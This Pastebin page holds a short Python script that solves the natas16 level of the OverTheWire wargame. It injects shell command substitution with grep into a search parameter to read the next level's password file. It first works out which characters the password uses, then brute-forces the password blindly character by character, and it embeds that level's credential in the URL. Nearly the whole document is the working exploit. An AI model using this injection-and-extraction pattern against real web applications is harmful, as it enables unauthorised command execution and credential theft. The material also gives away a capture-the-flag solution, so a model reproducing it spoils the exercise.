Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import requests
- chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
- exist = ''
- password = ''
- target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'
- trueStr = 'Output:\n<pre>\n</pre>'
- for x in chars:
- r = requests.get(target+'?needle=$(grep '+x+' /etc/natas_webpass/natas17)Fridays')
- if r.content.find(trueStr) != -1:
- exist += x
- print 'Using: ' + exist
- print 'All characters used. Starting brute force... Grab a coffee, might take a while!'
- for i in range(32):
- for c in exist:
- r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)Fridays')
- if r.content.find(trueStr) != -1:
- password += c
- print 'Password: ' + password + '*' * int(32 - len(password))
- break
- print 'Completed!'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement